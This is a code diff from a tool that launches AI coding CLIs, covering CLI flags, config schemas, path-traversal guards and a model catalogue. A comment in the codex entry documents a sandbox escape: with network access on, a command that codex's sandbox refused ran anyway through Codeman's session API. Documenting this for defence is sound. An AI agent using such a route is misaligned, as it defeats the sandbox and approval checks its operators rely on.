import { dataPath } from './config/instance.js';
import { readCodemanCredentials } from './codeman-credentials.js';
import { runNotify } from './cli-notify.js';
import { casePath } from './config/cases-dir.js';
import { assertValidBasePath } from './config/base-path.js';
import {
@@ -92,6 +93,22 @@ async function postAttachment(apiUrl: string, sessionId: string, filePath: strin
});
}
program
.command('notify <message>')
.description(
"Post a message to this tab's Discord thread (needs the user: a physical step, a blocker, a timed-out wait)"
)
.option('--urgent', 'Ping the user')
.option('--file <path>', 'Send a file from the session folder with the message')
.option('-s, --session <id>', 'Codeman session ID (defaults to CODEMAN_SESSION_ID)')
.option('--url <url>', 'Codeman API URL (defaults to CODEMAN_API_URL)')
.action(async (message: string, options) => {
const { code, out, err } = await runNotify({ message, ...options }, process.env, process.cwd());
if (out) console.log(code === 0 && out.startsWith('Posted') ? palette.ok(`✓ ${out}`) : out);
if (err) console.error(palette.err(`✗ ${err}`));
process.exit(code);
});
program
.command('attach <path>')
.description('Show an attachment card for a local file')
+2
View File
@@ -53,6 +53,7 @@ export const CONFIG_BACKUP_FILES = [
'clis.json',
'custom-model-hosts.json',
'webhook.json',
'discord.json',
'intents.json',
'linked-cases.json',
'remote-hosts.json',
@@ -794,6 +795,7 @@ const REDACT_ALL_FILES: ReadonlySet<string> = new Set([
'users.json',
'push-keys.json',
'webhook.json',
'discord.json',
'intents.json',
]);
/** Elsewhere a value is hidden when its own key looks like a credential. */
+5
View File
@@ -21,6 +21,7 @@ export type TokenPattern =
| 'model'
| 'model-claude'
| 'model-plain'
| 'model-plain-colon'
| 'model-pi'
| 'id'
| 'id-dotted'
@@ -47,6 +48,10 @@ const PATTERNS: Record<TokenPattern, RegExp> = {
// copilot --model. Same characters as `model`, but a leading alphanumeric: the value follows a
// flag, so `--yolo` must not pass as a model id and become its own flag (the allowAll clamp bypass).
'model-plain': /^[a-zA-Z0-9][a-zA-Z0-9._\-/]*$/,
// codex --model, and the value a custom-model `launchModel` is forced onto it. Same
// shape as `model-plain` (leading alphanumeric, so a flag cannot ride the flag) plus
// `:`, since Ollama-style ids like `qwen3:32b` must survive onto the command line.
'model-plain-colon': /^[a-zA-Z0-9][a-zA-Z0-9._\-/:]*$/,
// buildPiCommand — `:` for a thinking suffix (`sonnet:high`), `/` for `provider/id`
'model-pi': /^[a-zA-Z0-9._\-/:]+$/,
// opencode --session, codex resume
+68 -3
View File
@@ -80,6 +80,7 @@ const paramSpecSchema = z.union([
'muxName',
'effortLevel',
'effortSettingsJson',
'appendSystemPrompt',
'codemanPrefixedSessionId',
'launcherDefaultTarget',
]),
@@ -224,6 +225,7 @@ const envExportSchema = z
'muxName',
'effortLevel',
'effortSettingsJson',
'appendSystemPrompt',
'codemanPrefixedSessionId',
'launcherDefaultTarget',
]),
@@ -286,6 +288,14 @@ const launchModelTemplate = z
.regex(/^[a-zA-Z0-9._\-/:{}]+$/)
.optional();
/** One entry name under a CLI's real home, for `linkFromRealHome`: single path segment,
* leading alphanumeric, no traversal or hidden-dot escape. */
const homeSegmentName = z
.string()
.min(1)
.max(40)
.regex(/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/);
const capabilitiesSchema = z
.object({
external: z.boolean(),
@@ -480,7 +490,11 @@ const capabilitiesSchema = z
launchDefaults: z
.record(
z.string(),
z.enum(['codexModel', 'codexReasoningEffort'] as const satisfies readonly LaunchDefaultSettingKey[])
z.enum([
'codexModel',
'codexReasoningEffort',
'codexNetworkAccess',
] as const satisfies readonly LaunchDefaultSettingKey[])
)
.refine((v) => Object.keys(v).length >= 1 && Object.keys(v).length <= 8, 'launchDefaults takes 1 to 8 params')
.optional(),
@@ -580,10 +594,61 @@ const capabilitiesSchema = z
kind: z.literal('configDir'),
dirEnvVar: envName,
fileName: z.string().min(1).max(80),
template: z.enum(['codex-toml', 'pi-models-json', 'omp-models-yml', 'grok-toml']),
template: z.enum(['codex-toml', 'pi-models-json', 'omp-models-yml', 'grok-toml', 'deepseek-patch-json']),
launchModel: launchModelTemplate,
// State that must survive the isolated-directory redirect, symlinked by name from
// the CLI's real home (deepseek: profiles/sessions/settings.yaml). Single path
// segments only: the consumer joins them, so a traversal here would escape the
// real home. See the field's comment in cli-registry/types.ts.
linkFromRealHome: z.array(homeSegmentName).max(8).optional(),
// Which of `linkFromRealHome` are directories (missing ones are created before
// linking; missing files are skipped). Same segment pattern, see types.ts.
linkFromRealHomeDirs: z.array(homeSegmentName).max(8).optional(),
// The real home's fallback location, relative to the user's home, ONE segment:
// a leading dot is legitimate (`.dsh` is what ships) but separators, `..` and
// bare `.` are not; the consumer joins it under the user's home, a traversal
// here escapes that home and `.` IS that home (linking THROUGH it unshielded).
realHomeFallback: z
.string()
.min(1)
.max(80)
.regex(/^(?!\.\.?$)[^/\\]+$/)
.optional(),
})
.strict(),
.strict()
.superRefine((recipe, ctx) => {
// Both rules were comments before; the schema is the security boundary, so
// enforce them at load time (see the header of this file).
if (recipe.linkFromRealHome?.length && !recipe.realHomeFallback) {
ctx.addIssue({
code: 'custom',
message: 'realHomeFallback is required whenever linkFromRealHome is declared',
path: ['realHomeFallback'],
});
}
for (const name of recipe.linkFromRealHome ?? []) {
if (name === recipe.fileName) {
ctx.addIssue({
code: 'custom',
message: `linkFromRealHome must never include fileName (${JSON.stringify(name)}): the generated file owns that name in the isolated directory, a link there would write THROUGH into the user's real file`,
path: ['linkFromRealHome'],
});
}
}
// types.ts documents the dirs list as "must be a subset of linkFromRealHome";
// a name absent from it names nothing (missing-file entries are skipped as
// files), so the recipe would silently stop creating a directory it declares.
const linkedNames = new Set(recipe.linkFromRealHome ?? []);
for (const dir of recipe.linkFromRealHomeDirs ?? []) {
if (!linkedNames.has(dir)) {
ctx.addIssue({
code: 'custom',
message: `linkFromRealHomeDirs must be a subset of linkFromRealHome: ${JSON.stringify(dir)} is not linked, so the directory rule for it can never apply`,
path: ['linkFromRealHomeDirs'],
});
}
}
}),
z.object({ kind: z.literal('unsupported') }).strict(),
]),
})
+114 -31
View File
@@ -152,6 +152,7 @@ const CLAUDE: CliEntry = {
// from the EFFORT_LEVELS allowlist upstream, same as every other engine value).
effortLevel: { type: 'engine', source: 'effortLevel' },
effortJson: { type: 'engine', source: 'effortSettingsJson' },
discordHint: { type: 'engine', source: 'appendSystemPrompt' },
sessionId: { type: 'engine', source: 'sessionId' },
sessionName: { type: 'engine', source: 'sessionName' },
},
@@ -179,6 +180,12 @@ const CLAUDE: CliEntry = {
{ flag: '--effort', valueFrom: 'effortLevel', quote: 'single', when: { param: 'effortLevel', state: 'set' } },
{ flag: '--settings', valueFrom: 'effortJson', quote: 'single', when: { param: 'effortJson', state: 'set' } },
{ flag: '--name', valueFrom: 'sessionName', quote: 'double', when: { capabilityGate: 'nameFlag' } },
{
flag: '--append-system-prompt',
valueFrom: 'discordHint',
quote: 'single',
when: { param: 'discordHint', state: 'set' },
},
],
},
{
@@ -203,6 +210,12 @@ const CLAUDE: CliEntry = {
{ flag: '--effort', valueFrom: 'effortLevel', quote: 'single', when: { param: 'effortLevel', state: 'set' } },
{ flag: '--settings', valueFrom: 'effortJson', quote: 'single', when: { param: 'effortJson', state: 'set' } },
{ flag: '--name', valueFrom: 'sessionName', quote: 'double', when: { capabilityGate: 'nameFlag' } },
{
flag: '--append-system-prompt',
valueFrom: 'discordHint',
quote: 'single',
when: { param: 'discordHint', state: 'set' },
},
],
},
],
@@ -627,8 +640,12 @@ const CODEX: CliEntry = {
launch: {
params: {
bypassApprovals: { type: 'bool' },
networkAccess: { type: 'bool' },
animations: { type: 'bool' },
model: { type: 'token', pattern: 'model' },
// `model-plain-colon`, not `model`: the custom-model feature forces the selected id
// onto this param (`launchModel: '{modelId}'` below), and Ollama-style ids carry a
// `:` (`qwen3:32b`). A leading alphanumeric still keeps `--yolo` from riding a flag.
model: { type: 'token', pattern: 'model-plain-colon' },
reasoningEffort: { type: 'enum', values: [...CODEX_REASONING_EFFORTS] },
resumeId: { type: 'token', pattern: 'id' },
},
@@ -637,7 +654,38 @@ const CODEX: CliEntry = {
id: 'default',
args: [
{ lit: 'codex' },
// Codex 0.162 hands every client's tool commands to ONE shared background
// app-server (`codex app-server --managed-daemon`), started by whichever client
// came first. Two things break inside a Codeman pane, both measured 2026-11-01 on
// 0.162.0: the commands run with the STARTER's environment, so
// `$CODEMAN_SESSION_ID`/`$CODEMAN_API_URL` belong to another session (the codeman
// skill's self-check 404s and its delete guard protects the wrong id), and a daemon
// of another version (a 0.166 one left by a later install) stops every launch on an
// "incompatible feature settings" dialog before the composer appears. `--no-daemon`
// runs this session's own in-process server, which is what a pane per session
// means anyway. Gated at the version it was measured on; an older or unknown
// codex gets nothing (fail-closed), since an unknown flag makes codex exit.
{ flag: '--no-daemon', when: { capabilityGate: 'noDaemonFlag' } },
{ flag: '--dangerously-bypass-approvals-and-sandbox', when: { param: 'bypassApprovals', is: true } },
// Lets commands in codex's workspace-write sandbox open network connections,
// Codeman's own API on loopback included (the codeman skill's curl calls fail
// with "couldn't connect" without it). Measured on 0.162.0 (`codex sandbox` and
// a live pane): loopback stays blocked under workspace-write until this is set.
// ⚠️ Not a safe middle ground below the bypass above: that API can start a session
// outside the sandbox with no approval prompt, so codex's sandbox no longer contains
// a command once this is on. Measured 2026-11-06: a `touch` the sandbox refused
// landed through POST /api/sessions, and with a password set too from inside a
// Codeman pane, which inherits CODEMAN_PASSWORD by design.
// ⚠️ Workspace-write ONLY: a folder codex runs read-only (one it does not trust,
// such as a fresh non-git case) keeps the network closed and asks per command.
// Deliberately not paired with `--sandbox workspace-write` (owner decision,
// 2026-11-06), which would also grant write access to a folder codex itself chose
// not to trust, under a label that only says "network".
{
flag: '--config',
value: 'sandbox_workspace_write.network_access=true',
when: { param: 'networkAccess', is: true },
},
{ flag: '--config', value: 'tui.animations=true', when: { param: 'animations', is: true } },
{ flag: '--config', value: 'tui.animations=false', when: { param: 'animations', is: false } },
{ flag: '--model', valueFrom: 'model', when: { param: 'model', state: 'set' } },
@@ -803,7 +851,14 @@ const CODEX: CliEntry = {
// App Settings → Codex model / reasoning effort (synced), filled into a LOCAL launch's
// codexConfig wherever the caller left the field unset. Launch-only: nothing writes
// codex's own config.toml. Read by applyLaunchDefaults() in src/web/launch-defaults.ts.
launchDefaults: { model: 'codexModel', reasoningEffort: 'codexReasoningEffort' },
// `networkAccess` (App Settings → Codex → Allow network access) rides the same path, so
// a codex session started by the codeman skill, `codeman agent spawn` or the MCP server
// gets it as well as one started from the browser. Off (the default) fills nothing.
launchDefaults: {
model: 'codexModel',
reasoningEffort: 'codexReasoningEffort',
networkAccess: 'codexNetworkAccess',
},
// Two columns, like claude's, measured on a live 0.154.0 answer: the `•`/`›`/`⚠`
// markers sit in the gutter, prose continuations sit at 2, and a nested YAML block
// the model wrote rendered at 2/4/6/8 for its own 0/2/4/6. Replayed at 100, 120,
@@ -828,7 +883,19 @@ const CODEX: CliEntry = {
// does. codex is the entry where the two names differ (`bypassApprovals` here,
// `dangerouslyBypassApprovals` on the wire), so it is the one that would have caught a
// regression; `schema.ts` now rejects a name that is not a declared param.
privilegedParams: [{ param: 'bypassApprovals', clampTo: false }],
//
// `networkAccess` widens the sandbox too (any host, not just Codeman's loopback API), so
// a non-granted owner gets it forced off like the bypass. Only-if-sent is enough here as
// well: an absent value leaves codex's own no-network default, and the launch default
// above is filled BEFORE the clamp runs, so a filled `true` is still clamped.
privilegedParams: [
{ param: 'bypassApprovals', clampTo: false },
{ param: 'networkAccess', clampTo: false },
],
// `--no-daemon` above. Evaluated against codex's OWN version (resolveSessionCliVersion).
gates: {
noDaemonFlag: { minVersion: '0.162.0', failClosed: true },
},
mcpConfig: {
path: '.codex/config.toml',
format: 'codex-toml',
@@ -841,6 +908,7 @@ const CODEX: CliEntry = {
dirEnvVar: 'CODEX_HOME',
fileName: 'config.toml',
template: 'codex-toml',
launchModel: '{modelId}',
},
// CODEX_HOME already matches the CODEX_ allowedPrefix above, so it was ALREADY
// reachable via plain envOverrides before this feature existed. It is arguably
@@ -1163,7 +1231,23 @@ const PI: CliEntry = {
// (hasTrustRequiringProjectResources, pi 1.1.0), which would stall a spawned worker on
// a dialog. pi reads the user-level `~/.agents/skills` without that prompt, so a pi
// user installs it there (`npx skills add Ark0N/Codeman --skill codeman -g`).
altScreen: 'preserve', // pi's TUI renders into the main screen with terminal-owned scrollback
// Fullscreen is pi's default `tuiMode` since 1.0.0 (measured 1.0.0, 1.1.0, 1.4.0, 1.5.0 in
// tmux: alternate_on=1, history_size=0, mouse on, SGR): a TUI that enables tracking once at
// start. Codeman's replay (tab switch, reload) drops that mode in xterm, so the wheel hit an
// empty local buffer and went dead until a redraw. Same shape as copilot: strip the DECSETs
// (a drag selects locally), publish `cliMouseTracking`, and forward the wheel by hand from
// that flag. pi scrolls on SGR wheel reports, one row each at a low rate, faster on a spin.
// `tuiMode: regular`, the default below 1.0.0, is inline and emits no mouse DECSET, so the
// strip finds nothing and the flag stays false. A pi from 0.84.0 set to fullscreen does emit
// them (0.84.1 and 0.99.2 measured: alternate_on=1, mouse_any_flag=1, SGR) and the flag
// covers it.
// ⚠️ No `transcriptPageKeys`, though fullscreen pi does page on PageUp/PageDown. pi binds
// those keys to its editor in regular mode too, where they page nothing and move the caret
// of a multi-line draft, so a wheel over a fresh regular pane sent the next keystroke to the
// wrong line (measured). The cost: a fullscreen pi with "Wheel scrolls local history" on
// has no paging fallback.
altScreen: 'strip-mux-and-mouse',
wheelForward: { mode: 'always' },
echo: { policy: 'buffer', anchor: { kind: 'cursor' } },
// Measured on a live pi 1.1.0 pane (capture-pane every 250 ms through a turn,
// 2026-10-09): pi has no composer glyph. Its composer sits between two `─` rules, and
@@ -1353,8 +1437,7 @@ const GROK: CliEntry = {
// docs/, bin/ — per-file seeding like pi's credStore, not a whole-dir seedWhole copy.
credStore: { rel: '.grok', seedFiles: ['auth.json', 'config.toml', 'pager.toml'] },
// No remote/docker overlay needed: the defaults (exec grok / login-shell `grok`) are
// already correct — verified against upstream's own pinned test/grok-mode.test.ts
// expectation `exec "${SHELL:-/bin/sh}" -i -l -c 'grok'`.
// already correct, verified against upstream's own pinned test/grok-mode.test.ts.
},
};
@@ -1545,30 +1628,30 @@ const DEEPSEEK: CliEntry = {
// SERVER's own key into every dsh pane, so DEEPSEEK_BASE_URL is the exfiltration
// vector, not the key itself — a non-granted owner supplying THEIR OWN key removes
// privilege rather than granting it, and clamping it here was a real regression
// (test/deepseek-mode.test.ts) fixed before this shipped.
privilegedEnvKeys: ['DSH_PERMISSION_MODE', 'DSH_HOME', 'DEEPSEEK_BASE_URL'],
// Reuses the already-existing DEEPSEEK_BASE_URL/DEEPSEEK_API_KEY keys above. No
// modelVars — dsh's model is a profile-composition entry (see `model: { source: 'none'
// }` above), not an env var, so forcing a specific model name may not fully work;
// verify against a real profile before shipping.
//
// ⚠️ appendV1Suffix is REQUIRED, not optional-nice-to-have: without it every request
// 404s. Confirmed live and by reading dsh's own bundled source
// (@deepseek-ai/dsh-llm-deepseek): it builds the request URL as
// `${DEEPSEEK_BASE_URL}/chat/completions` with no "/v1" of its own (its real public
// API, https://api.deepseek.com, expects the caller's base URL to already carry any
// needed prefix), while llama-swap/llama.cpp only serves the OpenAI-conventional
// "/v1/chat/completions" — a bare POST to ".../chat/completions" 404s live, and the
// 404 reported here originally ("dsh: HTTP_404: DeepSeek API error (HTTP 404)")
// matches dsh's own error-message template for exactly this failure. See the
// customModelInjection doc comment in cli-registry/types.ts for the full reasoning,
// including why claude/gemini must NOT get this.
// (test/deepseek-mode.test.ts) fixed before this shipped. CODEMAN_CUSTOM_MODEL_API_KEY
// joins it (like codex's entry): the dedicated custom-endpoint key rides the same
// allowlisted-envOverrides path as the redirect itself.
privilegedEnvKeys: ['DSH_PERMISSION_MODE', 'DSH_HOME', 'DEEPSEEK_BASE_URL', 'CODEMAN_CUSTOM_MODEL_API_KEY'],
// The installed profile supplies the transport; a per-session patch selects its exact model.
customModelInjection: {
kind: 'env',
baseUrlVar: 'DEEPSEEK_BASE_URL',
apiKeyVar: 'DEEPSEEK_API_KEY',
modelVars: [],
appendV1Suffix: true,
kind: 'configDir',
dirEnvVar: 'DSH_HOME',
fileName: 'cordis.patch.yml',
template: 'deepseek-patch-json',
// dsh keeps state in its home that the redirect must NOT swallow: `sessions` is the
// session-log root (deleting it would take the user's transcripts with it on clear/
// close), `profiles` are the installed bundles the patch composes over, and
// `settings.yaml` must keep applying (read through the link only until the session's
// first settings write: dsh saves by rename, which replaces the link with a local file
// that goes away with the session). The generated home-level `cordis.patch.yml`
// deliberately replaces the user's own for the session rather than linking it.
// `sessions` and `profiles` are directories: dsh creates them itself on a first
// turn, and a fresh/relocated $DSH_HOME that never ran one would otherwise get a
// dangling link whose every write fails ENOENT: the consumer creates missing
// directory targets and skips missing file targets like `settings.yaml`.
linkFromRealHome: ['profiles', 'sessions', 'settings.yaml'],
linkFromRealHomeDirs: ['profiles', 'sessions'],
realHomeFallback: '.dsh',
},
},
overlays: {
@@ -1921,8 +2004,8 @@ const COPILOT: CliEntry = {
// custom provider and drops the GitHub sign-in requirement; COPILOT_PROVIDER_TYPE defaults to
// "openai", which is what a Codeman custom endpoint is (llama.cpp, vLLM, Ollama).
// COPILOT_MODEL names the model and COPILOT_PROVIDER_MODEL_ID / _WIRE_MODEL default to it.
// The OpenAI-style route is `<base>/v1/chat/completions`, so the base gets the `/v1` suffix
// the same way deepseek's does. All four already match the COPILOT_ prefix allowlist, so
// The OpenAI-style route is `<base>/v1/chat/completions`, so the base gets the `/v1`
// suffix via appendV1Suffix below. All four already match the COPILOT_ prefix allowlist, so
// they are privileged env keys below: a non-granted multi-user owner must not be able to
// redirect the session's endpoint or credentials through plain envOverrides.
customModelInjection: {
+51 -21
View File
@@ -29,6 +29,8 @@ export type EngineValue =
| 'muxName'
| 'effortLevel'
| 'effortSettingsJson'
/** The Discord bridge's startup hint, passed to Claude as `--append-system-prompt`. */
| 'appendSystemPrompt'
/** `sessionId` prefixed `codeman_<id>` — codex's unique per-pane rollout originator. */
| 'codemanPrefixedSessionId'
/**
@@ -110,7 +112,7 @@ export type ModelConfigResolverName = 'deepseek-route';
* arbitrary setting onto a command line; each name must also be a `SettingsUpdateSchema`
* key, which the resolver's typing enforces.
*/
export type LaunchDefaultSettingKey = 'codexModel' | 'codexReasoningEffort';
export type LaunchDefaultSettingKey = 'codexModel' | 'codexReasoningEffort' | 'codexNetworkAccess';
/** The MCP config dialects `src/mcp-sync.ts` has an adapter for. */
export type McpConfigFormat =
@@ -544,7 +546,7 @@ export interface CliCapabilities {
* `strip-full` is `isAltScreenStripMode`; `strip-mux-and-mouse` is `isMuxMouseStripMode`;
* every other value takes `isMuxAltScreenOnlyStripMode`, so at runtime `preserve` and
* `strip-mux-only` are the same row — `preserve` only says what such a CLI's pane
* holds (terminal-owned scrollback: a shell, pi), not a different strip.
* holds (terminal-owned scrollback: a shell), not a different strip.
*
* - alt-screen: the tmux CLIENT emits `smcup` as its first bytes at attach, parking
* xterm in the scrollback-less alternate buffer; a pane program's own toggles never
@@ -558,8 +560,8 @@ export interface CliCapabilities {
* own mouse support must work in the pane (htop/vim in a shell).
*
* Stock CLIs: `strip-full` = claude, codex, gemini (Ink TUIs); `strip-mux-and-mouse` =
* opencode and copilot (full-screen TUIs that enable tracking themselves); `strip-mux-only` =
* antigravity, grok, deepseek, omp; `preserve` = shell, pi.
* opencode, copilot and pi (full-screen TUIs that enable tracking themselves); `strip-mux-only` =
* antigravity, grok, deepseek, omp; `preserve` = shell.
*
* A fourth combination is the point to split this into flags; three is still cheaper
* as an enum.
@@ -812,9 +814,11 @@ export interface CliCapabilities {
* for pi and omp (`--model custom/<id>`, or the CLI stays on its own default
* provider and reports "No API key found for the selected model") or for
* grok (`--model codeman-custom`, the `[model.<name>]` block the config
* declares). Absent = the config alone selects the model (claude's env vars,
* opencode's blob, codex's top-level `model` key). Applied by the session's
* respawn options through the entry's `legacyConfigField`, never by id.
* declares), and codex carries its bare selected id (`{modelId}`, an id the
* entry's `model` token pattern must be able to carry). Absent = the config
* alone selects the model (claude's env vars, opencode's blob). Applied by
* the session's respawn options through the entry's `legacyConfigField`,
* never by id.
*
* `contextLengthVar` (env kind only): the env var a discovered per-model context-window
* size is written to when known (claude's `CLAUDE_CODE_MAX_CONTEXT_TOKENS`) — without it,
@@ -856,19 +860,13 @@ export interface CliCapabilities {
* reuses that file.
*
* `appendV1Suffix` (env kind only): the raw `endpoint.baseUrl` gets `withV1Suffix()`
* applied before being written to `baseUrlVar`, instead of being used verbatim.
* DeepSeek needs this and claude/gemini must NOT get it — a per-CLI asymmetry confirmed
* by reading each SDK's own request-building source, not assumed: DeepSeek Harness's
* bundled `@deepseek-ai/dsh-llm-deepseek` concatenates `${connection.baseURL}/chat/
* completions` with no `/v1` insertion of its own (its real public API base,
* `https://api.deepseek.com`, expects the caller's base URL to already carry any
* needed prefix), while llama-swap/llama.cpp only ever serves the OpenAI-conventional
* `/v1/chat/completions` — confirmed live: a bare `POST <baseUrl>/chat/completions`
* 404s, `POST <baseUrl>/v1/chat/completions` succeeds, and the harness's own error
* message template (`DeepSeek API error (HTTP ${status})`) reproduces the exact
* `HTTP_404` this feature originally shipped with unexplained. Claude Code's own SDK,
* by contrast, was already confirmed working end-to-end against the RAW `baseUrl` with
* no suffix — appending one there would be wrong, not just redundant.
* applied before being written to `baseUrlVar`, instead of being used verbatim. Only
* copilot declares it: its OpenAI-style route is `<base>/v1/chat/completions`, and a
* gateway saves the bare root. claude/gemini must NOT get it: Claude Code's own SDK was
* confirmed working end-to-end against the RAW `baseUrl`, so appending a suffix there
* would be wrong, not just redundant. The per-session config-file recipes do not need
* this flag at all: `renderConfigFile()` applies the suffix inside every template
* (deepseek's patch included), so no configDir entry carries a raw base URL.
*/
customModelInjection:
| {
@@ -888,8 +886,40 @@ export interface CliCapabilities {
kind: 'configDir';
dirEnvVar: string;
fileName: string;
template: 'codex-toml' | 'pi-models-json' | 'omp-models-yml' | 'grok-toml';
template: 'codex-toml' | 'pi-models-json' | 'omp-models-yml' | 'grok-toml' | 'deepseek-patch-json';
launchModel?: string;
/**
* Names of entries under this CLI's REAL home that must be symlinked into the
* isolated directory after the generated file is written: the same trick
* `linkSharedProjectsDir()` plays for claude's `projects`. Declared for CLIs whose
* home carries state that must survive the redirect (deepseek's `sessions` transcript
* root and `profiles` bundles, plus `settings.yaml`, which would otherwise stop
* applying and, for `sessions`, get deleted by `removeConfigDir` on clear/close).
* A CLI that saves a linked file by rename replaces the link: dsh does, so the first
* in-session settings write turns `settings.yaml` into a local file.
* Never include `fileName` itself: the generated file owns that name in the isolated
* directory, and a link there would write THROUGH into the user's real file.
* Consumed generically by custom-model-injection-apply.ts.
*/
linkFromRealHome?: string[];
/**
* Which of `linkFromRealHome` are DIRECTORIES (`sessions`, `profiles`) rather than
* files (`settings.yaml`). A missing directory target is created (mode 0700, what
* dsh does itself on a first turn) before linking: linking a nonexistent directory
* leaves a dangling symlink the CLI's own `mkdir` under it fails on with ENOENT on
* EVERY turn. A missing FILE target is skipped instead of linked (dangling-file
* links serve no purpose the CLI could not do itself). Must be a subset of
* `linkFromRealHome`; entries absent from it are treated as files.
* Consumed generically by custom-model-injection-apply.ts.
*/
linkFromRealHomeDirs?: string[];
/**
* Fallback location of the CLI's real home, relative to the user's home directory
* (deepseek's `.dsh`), used only when neither the session's own `dirEnvVar` override
* nor the server's environment sets it. Required whenever `linkFromRealHome` is
* declared, so no consumer has to hardcode a per-CLI default of its own.
*/
realHomeFallback?: string;
}
| { kind: 'unsupported' };
}
+56
View File
@@ -0,0 +1,56 @@
/**
* @fileoverview Bounds for FOREIGN tmux discovery (sessions a human started
* outside Codeman).
*
* Two facts drive every number here. First, the number of tmux sockets and panes
* on a machine is NOT under Codeman's control, so a discovery walk with no ceiling
* is an unbounded loop over data someone else produces. Parsed rows are capped by
* count and the socket sweep by time: a sweep capped by count would stop in glob
* order, where `codeman*` sorts before `default` and a machine running many
* instances would never reach the sessions this feature is for. Second, an ssh
* handshake is an order of magnitude slower than
* a local `exec`; reusing the shared 5s `EXEC_TIMEOUT_MS` would classify every
* remote host as unreachable, so the probe gets its own timeout.
*
* @module config/foreign-tmux
*/
/** How often the browser re-polls `/api/mux/foreign` while the home screen is visible. */
export const FOREIGN_POLL_INTERVAL_MS = 8000;
/**
* Server-side cache TTL for a LOCAL scan. This, not the poll interval, is what
* bounds the real cost: N open tabs polling at 8s still trigger at most one scan
* per TTL.
*/
export const FOREIGN_CACHE_TTL_MS = 5000;
/** Timeout for one probe invocation (local exec, `docker exec`, or one ssh). */
export const FOREIGN_PROBE_TIMEOUT_MS = 12000;
/**
* How long one tmux server may take to answer the probe's ping, in the script's own
* `sleep`, so whole seconds. A healthy server takes milliseconds. One that misses this
* costs only its own rows, and the sweep moves on to the next socket.
*/
export const FOREIGN_SOCKET_TIMEOUT_SECONDS = 2;
/** How long a timed-out probe's process group gets on SIGTERM before SIGKILL. */
export const FOREIGN_PROBE_KILL_GRACE_MS = 2000;
/** Max pane rows parsed from one probe. Panes past this are dropped, not errors. */
export const FOREIGN_MAX_PANES = 400;
/** Max process rows parsed from one probe's `ps` snapshot. */
export const FOREIGN_MAX_PROCS = 4000;
/** Max bytes of probe stdout kept. A runaway `ps` must not become a heap problem. */
export const FOREIGN_PROBE_MAX_BYTES = 2 * 1024 * 1024;
/**
* Longest argv or pane command kept from one row. The caps above bound how many rows a
* probe carries, this bounds what one costs: a row is text from someone else's process,
* and `ps` prints a 128 KiB argv in full. A launcher that needed more than this to be
* recognised reads as `shell`, which only changes the label on its row.
*/
export const FOREIGN_MAX_ARGV_CHARS = 4096;
+373
View File
@@ -0,0 +1,373 @@
/**
* @fileoverview The local model catalogue: which models, harnesses and chips the recommendation
* knows, as a compiled constant validated by a Zod schema.
*
* Rules:
* - There is NO override file and no runtime download data in this stage: nothing here reads
* the data dir, and a data file can never decide what gets recommended.
* - A model id is `name:tag` in lowercase with no slash (`LOCAL_MODEL_ID_PATTERN`), so it can
* only ever name a model of the default registry and namespace.
* - A harness is a ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`). The `cli` is a CLI
* registry id as data: no code may compare it with a literal. Whether that CLI exists and can
* take a custom model is checked against the registry at call time, in
* src/local-model/harness-facts.ts, never here.
* - The schema checks more than fields. Across rows it requires: unique model ids and ranks,
* unique harness `cli`s and ranks, `contexts` largest first, a `tested` entry naming a harness
* row, `chips` most specific first, and `promptCacheTiers` ascending from 0.
* - `getLocalModelCatalog()` parses the constant once, on first use and never at import, and
* throws on a bad row. test/local-model-catalog.test.ts pins that the stock constant parses,
* so a bad row fails the gate and never reaches the route.
*
* Where each figure of the stock rows comes from, and what was checked (2026-11-06):
*
* | Figure | Source | Checked |
* |----------------------|-----------------------------------------------------------|--------------------------------------|
* | `id`, `bytes` | registry manifest of the tag, sum of its layer sizes | yes, to the byte, by the facts review |
* | `license` | the model card (all Apache-2.0) | read by the research, not re-checked |
* | `paramsB` | 27.8 from the model card; the others are the count in the | no. Only the 12 billion line reads |
* | | model's name | it, and no row is near that line |
* | `kvBytesPerToken` | COMPUTED from each model's config: 2 x full-attention | no. Not measured in a running |
* | | layers x KV heads x head size x 2 bytes | runtime. The review called the |
* | | | gpt-oss figure plausible, no more |
* | `contexts`, `rank` | a judgement of the design | no |
* | `speedPer100Gbps` | one published run on an M1 Max (400 GB/s): generation | the run was read. It stands for less |
* | | only, short prompt. The two q8_0 rows are SCALED by file | than a session: no long prompt, no |
* | | size, not measured | thinking tokens |
* | `minMacosMajor` | the runtime's documentation (macOS 14) | yes, by the facts review |
* | `promptCacheTiers` | a decision of the design, not a measurement | no |
* | harness `minContext` | 65536: the runtime's documentation for both harnesses. | 65536 yes. 32768 no, which is why |
* | | 32768: recalled | that row is gated |
* | `chips` | the bandwidth column of | yes, read at the source for this |
* | | https://github.com/ggml-org/llama.cpp/discussions/4167 | file |
*
* `tested` is empty on every row: nobody has run any of these models with a harness on a Mac
* yet. Until a row has an entry, the recommendation never says "Recommended".
*/
import { z } from 'zod';
import type { ChipEntry, LocalModelCatalog } from '../types.js';
/** A model id: lowercase name, one colon, a tag. No slash, so no registry host or namespace can ride along. */
export const LOCAL_MODEL_ID_PATTERN = /^[a-z0-9][a-z0-9._-]*:[a-z0-9][a-z0-9._-]*$/;
/**
* Whether `chip` (a `machdep.cpu.brand_string`, 'Apple M4 Pro') is the chip a `ChipEntry.match`
* ('M4 Pro') names: the string must END with the match, and the match must start at the
* beginning or after a space. Case is ignored.
*
* Stricter than "the match occurs in the string" on purpose. 'M4' is not the chip of
* 'Apple M4 Pro', 'M1' is not the chip of 'Apple M10', and a variant this table has never heard
* of ('Apple M6 Pro') matches no row instead of borrowing the bandwidth of its base chip.
*/
export function chipNameMatches(chip: string, match: string): boolean {
const name = chip.trim().toLowerCase();
const wanted = match.trim().toLowerCase();
if (wanted === '' || !name.endsWith(wanted)) return false;
const start = name.length - wanted.length;
return start === 0 || name[start - 1] === ' ';
}
/**
* The memory bandwidth (GB/s) of `chip`, from the first row that names it. `undefined` when the
* chip string is absent or no row names it: the speed is then UNKNOWN, a bandwidth is never guessed.
*/
export function chipBandwidthGbps(chips: readonly ChipEntry[], chip: string | undefined): number | undefined {
if (!chip) return undefined;
return chips.find((row) => chipNameMatches(chip, row.match))?.gbps;
}
const isoDate = z.string().regex(/^\d{4}-\d{2}-\d{2}$/, 'must be an ISO date (YYYY-MM-DD)');
const positiveInt = z.number().int().positive();
const TestedOnSchema = z
.object({
chip: z.string().min(1).max(80),
memGb: positiveInt,
cli: z.string().min(1).max(24),
date: isoDate,
})
.strict();
const LocalModelEntrySchema = z
.object({
